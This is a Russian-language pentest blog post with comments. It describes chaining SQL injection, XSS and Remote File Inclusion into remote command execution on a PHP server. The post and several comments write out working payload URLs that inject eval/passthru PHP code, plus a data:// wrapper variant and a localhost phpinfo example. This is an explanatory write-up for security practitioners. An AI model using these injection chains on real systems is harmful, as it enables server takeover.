Забавная атака была продемонстрирована при последнем пентесте. Хороший пример жизненного применения Cross-Site Scripting. Ситуация выглядела следующим образом:
- Пользовательский сегмент, из которого работает атакующий (я в его роли);
- Технологическая сеть, трафик из которой жестко режется;
- Уязвимое Web-приложение к Remote File Including (RFI), расположенное в технологической сети;
- Уязвимое Web-приложение к SQL-инъекции, аналогично дислоцирующееся в технологическом сегменте сети.
Сама по себе SQL-инъекция не позволяла реализовать какие-либо полезные угрозы для развития атаки (вот она страшная сторона минимизации привилегий!). Воспользоваться уязвимостью RFI тоже не удалось, потому, как исходящий трафик из технологической сети жестко резался в пользовательский сегмент и во внешний мир. Для того, чтобы проэксплуатировать уязвимость RFI, была воссоздана приблизительно следующая цепочка:
http://<уязвимое_приложение_к_RFI>/?param=http://<уязвимое_приложение_к_SQLi>/?param=1+union+select+'<?eval($_request[cmd]);?>'&cmd=passthru('ls');
Т.е., по отдельности все три уязвимости были бесполезными. И лишь объединившись для единой благой цели, позволили реализовать угрозу ИБ – выполнение команд на сервере:)
В общем-то, ничего сверхъестественного, но мне подобная атака показалась очень даже забавной...
красиво
ОтветитьУдалитьдействительно красиво
ОтветитьУдалитьОдин раз тоже такое приходилось проделывать :)
ОтветитьУдалитьИ правда гут :) Такая уязвимость называется SiXSS, если я не ошибаюсь, когда SQLi используется не ради SQL, а ради сообщения об ошибке.
ОтветитьУдалитьНе понятно только где были "все три уязвимости", вижу только две.
to Touzoku:
ОтветитьУдалить>> когда SQLi используется не ради SQL, а ради сообщения об ошибке
нет, здесь SQL Injection даже эксплуатировалась....:) RFI<->SQLi<->XSS
>> уязвимость называется SiXSS
ОтветитьУдалитьверно! XSS over SQLi = SiXSS
А для RFI врапперы заюзать не удавалось?
ОтветитьУдалитьКстати, в копилку методов работы с инъекциями: http://qwazar.ru/?p=7 .
ОтветитьУдалитьКрасивое решение. Подобное является украшением отчётов по пентестам.
ОтветитьУдалитьto Qwazar:
ОтветитьУдалитьхех)) круто! надо будет поковырять твою находку....
ЗЫ: наконец-то у тебя заработал блог... а то я никак не мог сообразить. вроде ссылаешься на себя, а там либо доступ через квест - взломай по ссылке и получи инвайт к блогу, либо действительно не работает:))
to Pento:
ну, есть немного;)
Выглядит красиво, но сразу вопрос
ОтветитьУдалить1)Суть XSS в примере заключается в том, что PHP код в GET запросе не режется на обоих серверах?
to GERTY9000:
ОтветитьУдалитьСуть XSS в примере заключается в возможности его проведения на сервере XSS_NAME (в примере на картинке). Нужно учитывать, что в примере используется классическая техника SQL-инъекции, которая возвращает запрос в страницу. С этого момента уже применяется техника SiXSS (http://www.inattack.ru/article/535.html). Это позволяет закодировать до не узнаваемости XSS, что обязательно будет пропущено фильтром (например, функцией htmlspecialchars() в php). И само собой, для эксплуатации RFI нам нужен не XSS, а PHP код. Меняем, на выходе получаем возможность выполнения команд на сервере.
Стоит также добавить, что начиная с PHP версии 5.2.0 доступен замечательный stream wrapper Data (http://ru2.php.net/wrappers.data), с которым все выглядит гораздо проще:
http://RFI_NAME/?param=data:,php-код&cmd=команда
ЗЫ: странно, мой ответ анонимному пользователю пропал...хм. в моем случае, пхп был версией младше, чем 5.2.0, потому и пришлось так изворачиваться.
аналогичный случай RFI через XSS на localhost:
ОтветитьУдалитьmain.php?page=&loc=http://127.0.0.1/somewhere/foo.php?xss=<?php phpinfo();?>&bar=
Спасибо, красиво все выглядит и понятно... чето самому в голову подобное не приходило)
ОтветитьУдалитьРешил вот на практике закрепить, создал 2 файла, в 1 include($_GET['t']); а во 2 echo $_GET['xss'];
пробуем исполнить пхп
http://127.0.0.1/1.php?t=http://127.0.0.1/2.php?xss=
в ответ получаю
Parse error: syntax error, unexpected $end in http://127.0.0.1/2.php?xss= on line 1
Не совсем понятно почему так ? ведь должен был исполнится пхп ?
хотя по идее он выполнился но почемуто не так как нужно
ОтветитьУдалить>> syntax error, unexpected $end
ОтветитьУдалитьу Вас незакрытая конструкция в php-файле "}"
> у Вас незакрытая конструкция в php-файле "}"
ОтветитьУдалитьу меня ее нет изначально, я неиспользовал подобные конструкции в подопытных скриптах.
C:\Temp>cat 1.php
ОтветитьУдалить<? if (1){ print "1"; ?>
C:\Temp>php 1.php
Parse error: syntax error, unexpected $end in C:\Temp\1.php on line 1
либо, кривой copy/paste (бывает такое)